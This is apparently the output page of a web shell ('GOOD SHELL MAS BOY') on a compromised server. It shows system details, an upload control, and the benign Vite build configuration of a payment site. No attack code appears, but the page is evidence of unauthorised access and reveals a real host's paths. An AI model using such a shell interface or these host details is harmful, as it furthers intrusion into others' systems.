GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/vaspayment.com/vite.config.js
import { defineConfig } from 'vite';
import laravel, { refreshPaths } from 'laravel-vite-plugin';
import fs from 'fs';
import path from 'path';

export default defineConfig({
    plugins: [
        laravel({
            input: [
                'resources/css/app.css',
                'resources/js/app.js',
            ],
            refresh: [
                ...refreshPaths,
                'app/Livewire/**',
            ],
        }),
    ],
    build: {
        outDir: 'public/assets',
      },
});

// Generate service worker URLs dynamically
const generateServiceWorkerUrls = () => {
    const publicDir = 'public/assets';
    const manifestPath = path.join(publicDir, '@vite/manifest.json');
  
    if (fs.existsSync(manifestPath)) {
      const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf-8'));
      const urlsToCache = Object.values(manifest);
  
      // Service worker installation and caching logic
      console.log('const urlsToCache = [');
      urlsToCache.forEach((url) => {
        console.log(`  '${url}',`);
      });
      console.log('];');
    }
  };
  
  // Run the function to generate service worker URLs
  generateServiceWorkerUrls();